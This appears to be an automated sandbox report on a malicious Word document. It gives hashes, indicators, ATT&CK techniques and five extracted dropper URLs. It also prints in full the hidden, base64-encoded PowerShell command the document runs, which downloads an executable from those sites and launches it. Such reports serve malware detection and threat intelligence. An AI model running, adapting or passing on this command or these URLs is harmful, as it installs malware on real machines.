6d66dc25fb069a43ca04adf00eece16f55d791b5cd44bb236937472f80f8f731

General

Target

6d66dc25fb069a43ca04adf00eece16f55d791b5cd44bb236937472f80f8f731.doc
Size

184KB
MD5

7eb6d8d961091ae592e051d5e424638e
SHA1

88921697521edca2a7252fed4e24f5acfbc82e21
SHA256

6d66dc25fb069a43ca04adf00eece16f55d791b5cd44bb236937472f80f8f731
SHA512

fa5abd3b805ccb926a6e4cdaaa3d6f65cb15e4dd9905ca80039b7b063631a80080ae9eaeba147a8698124986881d51f49860cf7b21229efffbc121e746ee3d7c
SSDEEP

3072:R+2y/GdyrktGDWLS0HZWD5w8K7Nk9aD7IBUeoUH9CBjBoax5waA1NWBM0zR:R+2k4TtGiL3HJk9aD7beoUH9CBjBoaxP

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gobabynames.com/dz6r/xytx7/

exe.dropper

http://nhomkinhthienbinh.com/cgi-bin/yW/

exe.dropper

http://capitalcitycarwash.com/komldk65kd/7tz/

exe.dropper

http://compscischool.com/wp-content/8a1n/

exe.dropper

http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3736	2660	Powershell.exe	82

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	3736	Powershell.exe
28	3736	Powershell.exe
31	3736	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3736	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4880	WINWORD.EXE
4880	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3736	Powershell.exe
3736	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3736	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4880	WINWORD.EXE
4880	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4880	WINWORD.EXE
4880	WINWORD.EXE
4880	WINWORD.EXE
4880	WINWORD.EXE
4880	WINWORD.EXE
4880	WINWORD.EXE
4880	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 4940	4880	WINWORD.EXE	84
PID 4880 wrote to memory of 4940	4880	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6d66dc25fb069a43ca04adf00eece16f55d791b5cd44bb236937472f80f8f731.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4940

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8464424E.wmf

Filesize
444B

MD5
39977ecc8abb5e64f3a0363b05878e75

SHA1
2d9c884f5215d314263aba888aed8a4fa9d2bd30

SHA256
97812171dd15a74ab41bf2ecc0994c7f5d941e2744e5406302f0d76ca1487ea6

SHA512
17e631cf7416ad7e8725282ab7fe7c8fb11de3c6c8202b600eb506c134b28be7e9a3ac0c2433a114903793910fadff962d1cb2e34a76b3af160078e865cba3db

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDF3FD.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q1q2qm3v.w4b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3736-63-0x000001F57CC20000-0x000001F57CC42000-memory.dmp

Filesize
136KB

Download
memory/4880-5-0x00007FFCCB3D0000-0x00007FFCCB3E0000-memory.dmp

Filesize
64KB

Download
memory/4880-19-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-8-0x00007FFCCB3D0000-0x00007FFCCB3E0000-memory.dmp

Filesize
64KB

Download
memory/4880-2-0x00007FFCCB3D0000-0x00007FFCCB3E0000-memory.dmp

Filesize
64KB

Download
memory/4880-6-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-11-0x00007FFCC8D20000-0x00007FFCC8D30000-memory.dmp

Filesize
64KB

Download
memory/4880-10-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-12-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-14-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-13-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-15-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-17-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-20-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-7-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-18-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-16-0x00007FFCC8D20000-0x00007FFCC8D30000-memory.dmp

Filesize
64KB

Download
memory/4880-9-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-4-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-3-0x00007FFCCB3D0000-0x00007FFCCB3E0000-memory.dmp

Filesize
64KB

Download
memory/4880-0-0x00007FFCCB3D0000-0x00007FFCCB3E0000-memory.dmp

Filesize
64KB

Download
memory/4880-83-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-84-0x00007FFD0B3ED000-0x00007FFD0B3EE000-memory.dmp

Filesize
4KB

Download
memory/4880-85-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-86-0x00007FFD0B350000-0x00007FFD0B545000-memory.dmp

Filesize
2.0MB

Download
memory/4880-1-0x00007FFD0B3ED000-0x00007FFD0B3EE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads